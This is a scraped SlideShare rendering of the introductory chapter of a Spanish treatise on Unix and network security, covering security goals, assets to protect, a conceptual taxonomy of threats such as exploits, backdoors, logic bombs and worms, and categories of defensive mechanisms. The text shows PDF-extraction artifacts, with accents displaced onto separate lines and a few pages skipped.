Unixsec
0 recomendaciones1,955 vistas
Este documento presenta una introducción a la seguridad en sistemas Unix y redes. Explica conceptos clave como la seguridad física de los sistemas, la protección de administradores, usuarios y datos. Asimismo, cubre temas relacionados con la seguridad a nivel de sistema operativo como el sistema de ficheros, permisos y atributos de archivos. El objetivo final es proveer una guía básica pero completa sobre cómo implementar medidas para proteger sistemas y redes.
![Cap´
ıtulo 1
Introducci´n y conceptos previos
o
1.1 Introducci´n
o
Hasta finales de 1988 muy poca gente tomaba en serio el tema de la seguridad en redes de computa-
dores de prop´sito general. Mientras que por una parte Internet iba creciendo exponencialmente con
o
redes importantes que se adher´ a ella, como bitnet o hepnet, por otra el auge de la inform´tica
ıan a
de consumo (hasta la d´cada de los ochenta muy poca gente se pod´ permitir un ordenador y un
e ıa
m´dem en casa) unido a factores menos t´cnicos (como la pel´
o e ıcula Juegos de Guerra, de 1983) iba
produciendo un aumento espectacular en el n´mero de piratas inform´ticos.
u a
Sin embargo, el 22 de noviembre de 1988 Robert T. Morris protagoniz´ el primer gran incidente de
o
la seguridad inform´tica: uno de sus programas se convirti´ en el famoso worm o gusano de Inter-
a o
net. Miles de ordenadores conectados a la red se vieron inutilizados durante d´ y las p´rdidas se
ıas, e
estiman en millones de d´lares. Desde ese momento el tema de la seguridad en sistemas operativos
o
y redes ha sido un factor a tener muy en cuenta por cualquier responsable o administrador de
sistemas inform´ticos. Poco despu´s de este incidente, y a la vista de los potenciales peligros que
a e
pod´ entra˜ar un fallo o un ataque a los sistemas inform´ticos estadounidenses (en general, a los
ıa n a
sistemas de cualquier pa´ la agencia darpa (Defense Advanced Research Projects Agency) cre´ el
ıs) o
cert (Computer Emergency Response Team), un grupo formado en su mayor parte por voluntarios
cualificados de la comunidad inform´tica, cuyo objetivo principal es facilitar una respuesta r´pida
a a
a los problemas de seguridad que afecten a hosts de Internet ([Den90]).
Han pasado m´s de diez a˜os desde la creaci´n del primer cert, y cada d´ se hace patente la
a n o ıa
preocupaci´n por los temas relativos a la seguridad en la red y sus equipos, y tambi´n se hace
o e
patente la necesidad de esta seguridad. Los piratas de anta˜o casi han desaparecido, dando paso a
n
nuevas generaciones de intrusos que forman grupos como Chaos Computer Club o Legion of Doom,
organizan encuentros como el espa˜ol Iberhack, y editan revistas o zines electr´nicos (2600: The
n o
Hacker’s Quartely o Phrack son quiz´s las m´s conocidas, pero no las unicas). Todo esto con un
a a ´
objetivo principal: compartir conocimientos. Si hace unos a˜os cualquiera que quisiera adentrarse
n
en el mundo underground casi no ten´ m´s remedio que conectar a alguna BBS donde se tratara
ıa a
el tema, generalmente con una cantidad de informaci´n muy limitada, hoy en d´ tiene a su dis-
o ıa
posici´n gigabytes de informaci´n electr´nica publicada en Internet; cualquier aprendiz de pirata
o o o
puede conectarse a un servidor web, descargar un par de programas y ejecutarlos contra un servidor
desprotegido... con un poco de (mala) suerte, esa misma persona puede conseguir un control total
sobre un servidor Unix de varios millones de pesetas, probablemente desde su PC con Windows 98
y sin saber nada sobre Unix. De la misma forma que en su d´ Juegos de Guerra cre´ una nueva
ıa o
generaci´n de piratas, en la segunda mitad de los noventa pel´
o ıculas como The Net, Hackers o Los
Corsarios del Chip han creado otra generaci´n, en general mucho menos peligrosa que la anterior,
o
pero cuanto menos, preocupante: aunque sin grandes conocimientos t´cnicos, tienen a su disposi-
e
ci´n multitud de programas y documentos sobre seguridad (algo que los piratas de los ochenta
o
apenas pod´ imaginar), adem´s de ordenadores potentes y conexiones a Internet baratas. Por si
ıan a
esto fuera poco, se ven envalentonados a trav´s de sistemas de conversaci´n como el IRC (Internet
e o
Relay Chat), donde en canales como #hack o #hackers presumen de sus logros ante sus colegas.](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-19-320.jpg)
![2 CAP´ ´
ITULO 1. INTRODUCCION Y CONCEPTOS PREVIOS
1.2 Justificaci´n y objetivos
o
A la vista de lo comentado en el primer punto, parece claro que la seguridad de los equipos Unix
ha de ser algo a considerar en cualquier red. Diariamente por cualquiera de ellas circulan todo tipo
de datos, entre ellos muchos que se podr´ catalogar como confidenciales (n´minas, expedientes,
ıan o
presupuestos. . . ) o al menos como privados (correo electr´nico, proyectos de investigaci´n, art´
o o ıculos
a punto de ser publicados. . . ). Independientemente de la etiqueta que cada usuario de la red quiera
colgarle a sus datos, parece claro que un fallo de seguridad de un equipo Unix o de la propia red
no beneficia a nadie, y mucho menos a la imagen de nuestra organizaci´n. Y ya no se trata simple-
o
mente de una cuesti´n de imagen: seg´n el Computer Security Institute, en su encuesta de 1998, las
o u
p´rdidas econ´micas ocasionadas por delitos relacionados con nuevas tecnolog´ (principalmente
e o ıas
accesos internos no autorizados) s´lo en Estados Unidos ascienden anualmente a m´s 20.000 millones
o a
de pesetas, cifra que cada a˜o se incrementa en m´s del 35%; los delitos inform´ticos en general
n a a
aumentan tambi´n de forma espectacular a˜o tras a˜o, alcanzando incluso cotas del 800% ([Caj82]).
e n n
A lo largo de este trabajo se va a intentar hacer un repaso de los puntos habituales referentes
a seguridad en Unix y redes de computadores (problemas, ataques, defensas. . . ), aplicando el estu-
dio a entornos con requisitos de seguridad medios (universidades, empresas, proveedores de acceso a
Internet. . . ); de esta forma se ofrecer´ una perspectiva general de la seguridad en entornos Unix, el
a
funcionamiento de sus mecanismos, y su correcta utilizaci´n. Tambi´n se hablar´, en menor medi-
o e a
da, sobre temas menos t´cnicos pero que tambi´n afectan directamente a la seguridad inform´tica,
e e a
como puedan ser el problema del personal o la legislaci´n vigente.
o
El objetivo final de este proyecto ser´ marcar unas pautas para conseguir un nivel de seguri-
ıa
dad aceptable en los sistemas Unix conectados en cualquier red, entendiendo por ‘aceptable’ un
nivel de protecci´n suficiente para que la mayor´ de potenciales intrusos interesados en los equipos
o ıa
de nuestra organizaci´n fracasara ante un ataque contra los mismos. Obviamente, es imposible
o
garantizar una plena seguridad ante cualquier atacante: seguramente un pirata experimentado, con
el tiempo suficiente, pagado, o simplemente muy interesado en uno de nuestros equipos, no tendr´ ıa
muchos problemas en acceder a ´l. Este hecho, aunque preocupante, es casi inevitable; lo evitable
e
es que cualquier persona sea capaz de atacar con ´xito un equipo simplemente por haber visto una
e
pel´ıcula, descargado un par de p´ginas web y ejecutado un programa que ni ha hecho ni entiende.
a
Por supuesto, este proyecto no pretende ser en ning´n momento una ayuda para la gente que est´
u e
interesada en atacar m´quinas Unix o subredes completas, ni tampoco una invitaci´n a hacerlo.
a o
Aunque por su naturaleza la informaci´n aqu´ presentada puede ser utilizada para da˜ar sistemas
o ı n
inform´ticos (como cualquier informaci´n sobre seguridad inform´tica), no es ese su prop´sito sino,
a o a o
como hemos dicho, incrementar la seguridad de los sistemas Unix y las redes en las que ´stos se
e
ubican. Por tanto va a intentar estar escrito de forma que no se pueda utilizar f´cilmente como
a
una ‘receta de cocina’ para crackers; si alguien quiere un documento sobre c´mo atacar sistemas,
o
puede dejar de leer este trabajo y buscar en Internet informaci´n sobre ese tema. Conseguir romper
o
la seguridad de un sistema de forma no autorizada es, en la mayor´ de los casos, un s´
ıa ımbolo de
inmadurez, y por supuesto ni denota inteligencia ni unos excesivos conocimientos: si alguien se
considera superior por acceder ilegalmente a una m´quina utilizando un programa que ni ha he-
a
cho ni es capaz de entender, que revise sus principios, y si tras hacerlo a´n piensa lo mismo, que
u
dedique su inteligencia y sus conocimientos a tareas que ayuden a incrementar la seguridad, como
la construcci´n de sistemas de autenticaci´n fiables y baratos o el dise˜o de nuevos criptosistemas
o o n
seguros. Eso es seguridad inform´tica, y no lo que habitualmente se nos quiere hacer creer: la
a
seguridad inform´tica no consiste en conocerse todos los bugs de un sistema operativo, con sus
a
correspondientes exploits ni en jugar a superjakers en canales de IRC. Lamentablemente, este es el
panorama de la seguridad m´s visible en Espa˜a en la actualidad; esperemos que alg´n d´ cambie.
a n u ıa
1.3 ¿Qu´ es seguridad?
e
Podemos entender como seguridad una caracter´ ıstica de cualquier sistema (inform´tico o no) que
a
nos indica que ese sistema est´ libre de todo peligro, da˜o o riesgo, y que es, en cierta manera,
a n](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-20-320.jpg)
![´
1.4. ¿QUE QUEREMOS PROTEGER? 3
infalible. Como esta caracter´ ıstica, particularizando para el caso de sistemas operativos o redes de
computadores, es muy dif´ de conseguir (seg´n la mayor´ de expertos, imposible), se suaviza
ıcil u ıa
la definici´n de seguridad y se pasa a hablar de fiabilidad (probabilidad de que un sistema se
o
comporte tal y como se espera de ´l) m´s que de seguridad; por tanto, se habla de sistemas fiables
e a
en lugar de hacerlo de sistemas seguros.
A grandes rasgos se entiende que mantener un sistema seguro (o fiable) consiste b´sicamente en
a
garantizar tres aspectos ([Pfl97]): confidencialidad, integridad y disponibilidad. Algunos estudios
([Lap91],[Olo92]. . . ) integran la seguridad dentro de una propiedad m´s general de los sistemas, la
a
confiabilidad, entendida como el nivel de calidad del servicio ofrecido. Consideran la disponibili-
dad como un aspecto al mismo nivel que la seguridad y no como parte de ella, por lo que dividen
esta ultima en s´lo las dos facetas restantes, confidencialidad e integridad. En este trabajo no
´ o
seguiremos esa corriente por considerarla minoritaria.
¿Qu´ implica cada uno de los tres aspectos de los que hablamos? La confidencialidad nos dice
e
que los objetos de un sistema han de ser accedidos unicamente por elementos autorizados a el-
´
lo, y que esos elementos autorizados no van a convertir esa informaci´n en disponible para otras
o
entidades; la integridad significa que los objetos s´lo pueden ser modificados1 por elementos au-
o
torizados, y de una manera controlada, y la disponibilidad indica que los objetos del sistema
tienen que permanecer accesibles a elementos autorizados; es el contrario de la negaci´n de ser-
o
vicio. Generalmente tienen que existir los tres aspectos descritos para que haya seguridad: un
sistema Unix puede conseguir confidencialidad para un determinado fichero haciendo que ning´n u
usuario (ni siquiera el root) pueda leerlo, pero este mecanismo no proporciona disponibilidad alguna.
Dependiendo del entorno en que un sistema Unix trabaje, a sus responsables les interesar´ dar a
prioridad a un cierto aspecto de la seguridad. Por ejemplo, en un sistema militar se antepondr´ laa
confidencialidad de los datos almacenados o transmitidos sobre su disponibilidad: seguramente, es
preferible que alguien borre informaci´n confidencial (que se podr´ recuperar despu´s desde una
o ıa e
cinta de backup) a que ese mismo atacante pueda leerla, o a que esa informaci´n est´ disponible en
o e
un instante dado para los usuarios autorizados. En cambio, en un servidor NFS de un departamento
se premiar´ la disponibilidad frente a la confidencialidad: importa poco que un atacante lea una
a
unidad, pero que esa misma unidad no sea le´ por usuarios autorizados va a suponer una p´rdida
ıda e
de tiempo y dinero. En un entorno bancario, la faceta que m´s ha de preocupar a los responsables
a
del sistema es la integridad de los datos, frente a su disponibilidad o su confidencialidad: es menos
grave2 que un usuario consiga leer el saldo de otro que el hecho de que ese usuario pueda modificarlo.
1.4 ¿Qu´ queremos proteger?
e
Los tres elementos principales a proteger en cualquier sistema inform´tico son el software, el hard-
a
ware y los datos. Por hardware entendemos el conjunto formado por todos los elementos f´ ısicos de
un sistema inform´tico, como CPUs, terminales, cableado, medios de almacenamiento secundario
a
(cintas, CD-ROMs, diskettes. . . ) o tarjetas de red. Por software entendemos el conjunto de pro-
gramas l´gicos que hacen funcional al hardware, tanto sistemas operativos como aplicaciones, y por
o
datos el conjunto de informaci´n l´gica que manejan el software y el hardware, como por ejemplo
o o
paquetes que circulan por un cable de red o entradas de una base de datos. Aunque generalmente
en las auditor´ de seguridad se habla de un cuarto elemento a proteger, los fungibles (elementos
ıas
que se gastan o desgastan con el uso cont´ ınuo, como papel de impresora, t´ners, cintas magn´ticas,
o e
diskettes. . . ), aqu´ no consideraremos la seguridad de estos elementos por ser externos al sistema
ı
Unix.
Habitualmente los datos constituyen el principal elemento de los tres a proteger, ya que es el
m´s amenazado y seguramente el m´s dif´ de recuperar3 : con toda seguridad una m´quina Unix
a a ıcil a
est´ ubicada en un lugar de acceso f´
a ısico restringido, o al menos controlado, y adem´s en caso de
a
1 Por modificar entendemos escribir, cambiar, cambiar el estado, borrar y crear.
2 Aunque por supuesto no es en absoluto recomendable.
3 Quiz´s no el m´s caro, pero s´ el m´s dif´
a a ı a ıcil.](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-21-320.jpg)
![4 CAP´ ´
ITULO 1. INTRODUCCION Y CONCEPTOS PREVIOS
Figura 1.1: Flujo normal de informaci´n entre emisor y receptor y posibles amenazas: (a) inter-
o
rupci´n, (b) interceptaci´n, (c) modificaci´n y (d) fabricaci´n.
o o o o
p´rdida de una aplicaci´n (o un programa de sistema, o el propio n´cleo de Unix) este software se
e o u
puede restaurar sin problemas desde su medio original (por ejemplo, el CD-ROM con el sistema
operativo que se utiliz´ para su instalaci´n). Sin embargo, en caso de p´rdida de una base de datos
o o e
o de un proyecto de un usuario, no tenemos un medio ‘original’ desde el que restaurar: hemos de
pasar obligatoriamente por un sistema de copias de seguridad, y a menos que la pol´ ıtica de copias
sea muy estricta, es dif´ devolver los datos al estado en que se encontraban antes de la p´rdida.
ıcil e
Contra cualquiera de los tres elementos descritos anteriormente (pero principalmente sobre los
datos) se pueden realizar multitud de ataques o, dicho de otra forma, est´n expuestos a diferentes
a
amenazas. Generalmente, la taxonom´ m´s elemental de estas amenazas las divide en cuatro
ıa a
grandes grupos: interrupci´n, interceptaci´n, modificaci´n y fabricaci´n. Un ataque se clasifica co-
o o o o
mo interrupci´n si hace que un objeto del sistema se pierda, quede inutilizable o no disponible. Se
o
tratar´ de una interceptaci´n si un elemento no autorizado consigue un acceso a un determinado
a o
objeto del sistema, y de una modificaci´n si adem´s de conseguir el acceso consigue modificar el
o a
objeto; algunos autores ([Olo92]) consideran un caso especial de la modificaci´n: la destrucci´n,
o o
entendi´ndola como una modificaci´n que inutiliza al objeto afectado. Por ultimo, se dice que un
e o ´
ataque es una fabricaci´n si se trata de una modificaci´n destinada a conseguir un objeto similar
o o
al atacado de forma que sea dif´ distinguir entre el objeto original y el ‘fabricado’. En la figura
ıcil
1.1 se muestran estos tipos de ataque de una forma gr´fica.
a
1.5 ¿De qu´ nos queremos proteger?
e
En la gran mayor´ de publicaciones relativas a la seguridad inform´tica en general, y especialmente
ıa a
en las relativas a seguridad en Unix, tarde o temprano se intenta clasificar en grupos a los posibles
elementos que pueden atacar nuestro sistema. Con frecuencia, especialmente en las obras menos
t´cnicas y m´s orientadas a otros aspectos de la seguridad ([ISV95], [Mey89]. . . ), se suele identificar
e a](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-22-320.jpg)
![´
1.5. ¿DE QUE NOS QUEREMOS PROTEGER? 5
a los atacantes unicamente como personas; esto tiene sentido si hablamos por ejemplo de respon-
´
sabilidades por un delito inform´tico. Pero en este trabajo es preferible hablar de ‘elementos’ y no
a
de personas: aunque a veces lo olvidemos, nuestro sistema puede verse perjudicado por m´ltiples
u
entidades aparte de humanos, como por ejemplo programas, cat´strofes naturales o, por qu´ no,
a e
fuerzas extraterrestres; si un usuario pierde un trabajo importante a causa de un ataque, poco le
importar´ que haya sido un intruso, un gusano, un simple error del administrador, o un alien que
a
haya abducido un disco duro. . .
A continuaci´n se presenta una relaci´n de los elementos que potencialmente pueden amenazar
o o
a nuestro sistema. No pretende ser exhaustiva, ni por supuesto una taxonom´ formal (para este
ıa
tipo de estudios, se recomienda consultar [LBMC94] o [AKS96]); simplemente trata de proporcionar
una idea acerca de qu´ o qui´n amenaza un sistema Unix. A lo largo de este proyecto se ahondar´
e e a
en aspectos de algunos de los elementos presentados aqu´
ı.
1.5.1 Personas
No podernos enga˜arnos: la mayor´ de ataques a nuestro sistema van a provenir en ultima ins-
n ıa ´
tancia de personas que, intencionada o inintencionadamente, pueden causarnos enormes p´rdidas. e
Generalmente se tratar´ de piratas que intentan conseguir el m´ximo nivel de privilegio posible
a a
aprovechando alguno (o algunos) de los riesgos l´gicos de los que hablaremos a continuaci´n, es-
o o
pecialmente agujeros del software. Pero con demasiada frecuencia se suele olvidar que los piratas
‘cl´sicos’ no son los unicos que amenazan nuestros equipos: es especialmente preocupante que
a ´
mientras que hoy en d´ cualquier administrador m´
ıa ınimamente preocupado por la seguridad va a
conseguir un sistema relativamente fiable de una forma l´gica (permaneciendo atento a vulnerabili-
o
dades de su software, restringiendo servicios, utilizando cifrado de datos. . . ), pocos administradores
tienen en cuenta factores como la ingenier´ social o el basureo a la hora de dise˜ar una pol´
ıa n ıtica de
seguridad.
Aqu´ se describen brevemente los diferentes tipos de personas que de una u otra forma pueden
ı
constituir un riesgo para nuestros sistemas; generalmente se dividen en dos grandes grupos: los
atacantes pasivos, aquellos que fisgonean por el sistema pero no lo modifican -o destruyen-, y los
activos, aquellos que da˜an el objetivo atacado, o lo modifican en su favor. Generalmente los
n
curiosos y los crackers realizan ataques pasivos (que se pueden convertir en activos), mientras que
los terroristas y ex-empleados realizan ataques activos puros; los intrusos remunerados suelen ser
atacantes pasivos si nuestra red o equipo no es su objetivo, y activos en caso contrario, y el personal
realiza ambos tipos indistintamente, dependiendo de la situaci´n concreta.
o
• Personal
Las amenazas a la seguridad de un sistema provenientes del personal de la propia organizaci´n o
rara vez son tomadas en cuenta; se presupone un entorno de confianza donde a veces no existe,
por lo que se pasa por alto el hecho de que casi cualquier persona de la organizaci´n, incluso el
o
personal ajeno a la infraestructura inform´tica (secretariado, personal de seguridad, personal
a
de limpieza y mantenimiento. . . ) puede comprometer la seguridad de los equipos.
Aunque los ataques pueden ser intencionados (en cuyo caso sus efectos son extremadamente
da˜inos, recordemos que nadie mejor que el propio personal de la organizaci´n conoce mejor
n o
los sistemas. . . y sus debilidades), lo normal es que m´s que de ataques se trate de accidentes
a
causados por un error o por desconocimiento4 de las normas b´sicas de seguridad: un empleado
a
de mantenimiento que corta el suministro el´ctrico para hacer una reparaci´n puede llegar a
e o
ser tan peligroso como el m´s experto de los administradores que se equivoca al teclear una
a
orden y borra todos los sistemas de ficheros; y en el primer caso, el ‘atacante’ ni siquiera ha
de tener acceso l´gico (¡ni f´
o ısico!) a los equipos, ni conocer nada sobre seguridad en Unix.
Hemos de recordar siempre que decir ‘No lo hice a prop´sito’ no va a servir para recuperar
o
datos perdidos ni para restaurar un hardware da˜ado o robado.
n
• Ex-empleados
Otro gran grupo de personas potencialmente interesadas en atacar nuestro sistema son los
4O inexistencia.](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-23-320.jpg)
![´
1.5. ¿DE QUE NOS QUEREMOS PROTEGER? 7
de la entidad afectada. Esta tercera parte suele ser una empresa de la competencia o un
organismo de inteligencia, es decir, una organizaci´n que puede permitirse un gran gasto en
o
el ataque; de ah´ su peligrosidad: se suele pagar bien a los mejores piratas, y por si esto fuera
ı
poco los atacantes van a tener todos los medios necesarios a su alcance.
Aunque como hemos dicho los intrusos remunerados son los menos comunes en la mayor´ de ıa
situaciones, en ciertas circunstancias pueden aprovechar nuestras redes como plataforma para
atacar otros organismos; una excelente lectura sobre esta situaci´n es [Sto89], en la que el
o
experto en seguridad Cliff Stoll describe c´mo piratas pagados por el KGB sovi´tico utilizaron
o e
redes y sistemas Unix dedicados a I+D para acceder a organismos de defensa e inteligencia
estadounidenses.
1.5.2 Amenazas l´gicas
o
Bajo la etiqueta de ‘amenazas l´gicas’ encontramos todo tipo de programas que de una forma u
o
otra pueden da˜ar a nuestro sistema, creados de forma intencionada para ello (software malicioso,
n
tambi´n conocido como malware) o simplemente por error (bugs o agujeros). Una excelente lectura
e
que estudia las definiciones de algunas de estas amenazas y su implicaci´n en el sistema Unix se
o
presenta en [GS96]; otra buena descripci´n, pero a un nivel m´s general, se puede encontrar en
o a
[Par81].
• Software incorrecto
Las amenazas m´s habituales a un sistema Unix provienen de errores cometidos de forma
a
involuntaria por los programadores de sistemas o de aplicaciones. Una situaci´n no contem-
o
plada a la hora de dise˜ar el sistema de red del kernel o un error accediendo a memoria en un
n
fichero setuidado pueden comprometer local o remotamente a Unix (o a cualquier otro sistema
operativo).
A estos errores de programaci´n se les denomina bugs, y a los programas utilizados para
o
aprovechar uno de estos fallos y atacar al sistema, exploits. Como hemos dicho, representan
la amenaza m´s com´n contra Unix, ya que cualquiera puede conseguir un exploit y utilizarlo
a u
contra nuestra m´quina sin ni siquiera saber c´mo funciona y sin unos conocimientos m´
a o ınimos
de Unix; incluso hay exploits que da˜an seriamente la integridad de un sistema (negaciones de
n
servicio o incluso acceso root remoto) y est´n preparados para ser utilizados desde MS-DOS,
a
con lo que cualquier pirata novato (com´nmente, se les denomina Script Kiddies) puede uti-
u
lizarlos contra un servidor y conseguir un control total de una m´quina de varios millones de
a
pesetas desde su PC sin saber nada del sistema atacado; incluso hay situaciones en las que se
analizan los logs de estos ataques y se descubre que el pirata incluso intenta ejecutar ´rdenes
o
de MS-DOS.
• Herramientas de seguridad
Cualquier herramienta de seguridad representa un arma de doble filo: de la misma forma
que un administrador las utiliza para detectar y solucionar fallos en sus sistemas o en la
subred completa, un potencial intruso las puede utilizar para detectar esos mismos fallos y
aprovecharlos para atacar los equipos. Herramientas como nessus, saint o satan pasan
de ser utiles a ser peligrosas cuando las utilizan crackers que buscan informaci´n sobre las
´ o
vulnerabilidades de un host o de una red completa.
La conveniencia de dise˜ar y distribuir libremente herramientas que puedan facilitar un ataque
n
es un tema peliagudo; incluso expertos reconocidos como Alec Muffet (autor del adivinador de
contrase˜as Crack) han recibido enormes cr´
n ıticas por dise˜ar determinadas herramientas de
n
seguridad para Unix. Tras numerosos debates sobre el tema, ha quedado bastante claro que no
se puede basar la seguridad de un sistema en el supuesto desconocimiento de sus problemas por
parte de los atacantes: esta pol´
ıtica, denominada Security through obscurity, se ha demostrado
inservible en m´ltiples ocasiones. Si como administradores no utilizamos herramientas de
u
seguridad que muestren las debilidades de nuestros sistemas (para corregirlas), tenemos que
estar seguro que un atacante no va a dudar en utilizar tales herramientas (para explotar las
debilidades encontradas); por tanto, hemos de agradecer a los dise˜adores de tales programas
n
el esfuerzo que han realizado (y nos han ahorrado) en pro de sistemas m´s seguros.
a
• Puertas traseras
Durante el desarrollo de aplicaciones grandes o de sistemas operativos es habitual entre los](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-25-320.jpg)
![8 CAP´ ´
ITULO 1. INTRODUCCION Y CONCEPTOS PREVIOS
programadores insertar ‘atajos’ en los sistemas habituales de autenticaci´n del programa o
o
del n´cleo que se est´ dise˜ando. A estos atajos se les denomina puertas traseras, y con
u a n
ellos se consigue mayor velocidad a la hora de detectar y depurar fallos: por ejemplo, los
dise˜adores de un software de gesti´n de bases de datos en el que para acceder a una tabla
n o
se necesiten cuatro claves diferentes de diez caracteres cada una pueden insertar una rutina
para conseguir ese acceso mediante una unica clave ‘especial’, con el objetivo de perder menos
´
tiempo al depurar el sistema.
Algunos programadores pueden dejar estos atajos en las versiones definitivas de su software
para facilitar un mantenimiento posterior, para garantizar su propio acceso, o simplemente
por descuido; la cuesti´n es que si un atacante descubre una de estas puertas traseras (no
o
nos importa el m´todo que utilice para hacerlo) va a tener un acceso global a datos que no
e
deber´ poder leer, lo que obviamente supone un grave peligro para la integridad de nuestro
ıa
sistema.
• Bombas l´gicas
o
Las bombas l´gicas son partes de c´digo de ciertos programas que permanecen sin realizar
o o
ninguna funci´n hasta que son activadas; en ese punto, la funci´n que realizan no es la original
o o
del programa, sino que generalmente se trata de una acci´n perjudicial.
o
Los activadores m´s comunes de estas bombas l´gicas pueden ser la ausencia o presencia de
a o
ciertos ficheros, la ejecuci´n bajo un determinado UID o la llegada de una fecha concreta;
o
cuando la bomba se activa va a poder realizar cualquier tarea que pueda realizar la persona
que ejecuta el programa: si las activa el root, o el programa que contiene la bomba est´ a
setuidado a su nombre, los efectos obviamente pueden ser fatales.
• Canales cubiertos
Seg´n la definici´n de [B+ 85] y [B+ 88], los canales cubiertos (o canales ocultos, seg´n otras
u o u
traducciones) son canales de comunicaci´n que permiten a un proceso transferir informaci´n de
o o
forma que viole la pol´
ıtica de seguridad del sistema; dicho de otra forma, un proceso transmite
informaci´n a otros (locales o remotos) que no est´n autorizados a leer dicha informaci´n.
o a o
Los canales cubiertos no son una amenaza demasiado habitual en redes de I+D, ya que suele
ser mucho m´s f´cil para un atacante aprovechar cualquier otro mecanismo de ataque l´gico;
a a o
sin embargo, es posible su existencia, y en este caso su detecci´n suele ser dif´
o ıcil: algo tan
simple como el puerto finger abierto en una m´quina puede ser utilizado a modo de covert
a
channel por un pirata con algo de experiencia.
• Virus
Un virus es una secuencia de c´digo que se inserta en un fichero ejecutable (denominado
o
hu´sped), de forma que cuando el archivo se ejecuta, el virus tambi´n lo hace, insert´ndose a
e e a
s´ mismo en otros programas.
ı
Todo el mundo conoce los efectos de los virus en algunos sistemas operativos de sobremesa;
sin embargo, en Unix los virus no suelen ser un problema de seguridad grave, ya que lo que
pueda hacer un virus lo puede hacer m´s f´cilmente cualquier otro mecanismo l´gico (que
a a o
ser´ el que hay que tener en cuenta a la hora de dise˜ar una pol´
a n ıtica de seguridad).
Aunque los virus existentes para entornos Unix son m´s una curiosidad que una amenaza real,
a
en sistemas sobre plataformas IBM-PC o compatibles (recordemos que hay muchos sistemas
Unix que operan en estas plataformas, como Linux, FreeBSD, NetBSD, Minix, Solaris. . . )
ciertos virus, especialmente los de boot, pueden tener efectos nocivos, como da˜ar el sector de
n
arranque; aunque se trata de da˜os menores comparados con los efectos de otras amenazas,
n
hay que tenerlos en cuenta.
• Gusanos
Un gusano es un programa capaz de ejecutarse y propagarse por s´ mismo a trav´s de redes, en
ı e
ocasiones portando virus o aprovechando bugs de los sistemas a los que conecta para da˜arlos.
n
Al ser dif´
ıciles de programar su n´mero no es muy elevado, pero el da˜o que pueden causar es
u n
muy grande: el mayor incidente de seguridad en Internet fu´ precisamente el Internet Worm,
e
un gusano que en 1988 caus´ perdidas millonarias al infectar y detener m´s de 6000 m´quinas
o a a
conectadas a la red.
Hemos de pensar que un gusano puede automatizar y ejecutar en unos segundos todos los](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-26-320.jpg)
![10 CAP´ ´
ITULO 1. INTRODUCCION Y CONCEPTOS PREVIOS
medidas b´sicas, ya que si se produjeran generar´ los mayores da˜os.
a ıan n
Un subgrupo de las cat´strofes es el denominado de riesgos poco probables. Obviamente se
a
denomina as´ al conjunto de riesgos que, aunque existen, la posibilidad de que se produzcan es tan
ı
baja (menor incluso que la del resto de cat´strofes) que nadie toma, o nadie puede tomar, medidas
a
contra ellos. Ejemplos habituales de riesgos poco probables son un ataque nuclear contra el sistema,
el impacto de un sat´lite contra la sala de operaciones, o la abducci´n de un operador por una nave
e o
extraterrestre. Nada nos asegura que este tipo de cat´strofes no vaya a ocurrir, pero la probabilidad
a
es tan baja y los sistemas de prevenci´n tan costosos que no vale la pena tomar medidas contra ellas.
o
Como ejemplos de cat´strofes hablaremos de terremotos, inundaciones, incendios, humo o aten-
a
tados de baja magnitud (m´s comunes de lo que podamos pensar); obviamente los riesgos poco
a
probables los trataremos como algo anecd´tico. De cualquier forma, vamos a hablar de estas ame-
o
nazas sin extendernos mucho, ya que el objetivo de este proyecto no puede ser el proporcionar las
directrices para una construcci´n de edificios a prueba de terremotos, o un plan formal de evacuaci´n
o o
en caso de incendio.
1.6 ¿C´mo nos podemos proteger?
o
Hasta ahora hemos hablado de los aspectos que engloba la seguridad inform´tica, de los elementos
a
a proteger, de los tipos de amenazas que contra ellos se presentan y del origen de tales amenazas;
parece claro que, para completar nuestra visi´n de la seguridad, hemos de hablar de las formas de
o
protecci´n de nuestros sistemas. Cuando hayamos completado este punto, habremos presentado a
o
grandes rasgos los diferentes puntos a tratar en este proyecto, tal y como se sintetiza en la figura 1.2.
Para proteger nuestro sistema hemos de realizar un an´lisis de las amenazas potenciales que puede
a
sufrir, las p´rdidas que podr´ generar, y la probabilidad de su ocurrencia; a partir de este an´lisis
e ıan a
hemos de dise˜ar una pol´
n ıtica de seguridad que defina responsabilidades y reglas a seguir para evitar
tales amenazas o minimizar sus efectos en caso de que se produzcan. A los mecanismos utilizados
para implementar esta pol´ ıtica de seguridad se les denomina mecanismos de seguridad; son la
parte m´s visible de nuestro sistema de seguridad, y se convierten en la herramienta b´sica para
a a
garantizar la protecci´n de los sistemas o de la propia red.
o
Los mecanismos de seguridad se dividen en tres grandes grupos: de prevenci´n, de detecci´n y
o o
de recuperaci´n. Los mecanismos de prevenci´n son aquellos que aumentan la seguridad de un
o o
sistema durante el funcionamiento normal de ´ste, previniendo la ocurrencia de violaciones a la se-
e
guridad; por ejemplo, el uso de cifrado en la transmisi´n de datos se puede considerar un mecanismo
o
de este tipo, ya que evita que un posible atacante escuche las conexiones hacia o desde un sistema
Unix en la red. Por mecanismos de detecci´n se conoce a aquellos que se utilizan para detectar
o
violaciones de la seguridad o intentos de violaci´n; ejemplos de estos mecanismos son los programas
o
de auditor´ como Tripwire. Finalmente, los mecanismos de recuperaci´n son aquellos que se
ıa o
aplican cuando una violaci´n del sistema se ha detectado, para retornar a ´ste a su funcionamiento
o e
correcto; ejemplos de estos mecanismos son la utilizaci´n de copias de seguridad o el hardware
o
adicional. Dentro de este ultimo grupo de mecanismos de seguridad encontramos un subgrupo de-
´
nominado mecanismos de an´lisis forense, cuyo objetivo no es simplemente retornar al sistema
a
a su modo de trabajo normal, sino averiguar el alcance de la violaci´n, las actividades de un intruso
o
en el sistema, y la puerta utilizada para entrar6 ; de esta forma se previenen ataques posteriores y
se detectan ataques a otros sistemas de nuestra red.
Parece claro que, aunque los tres tipos de mecanismos son importantes para la seguridad de nues-
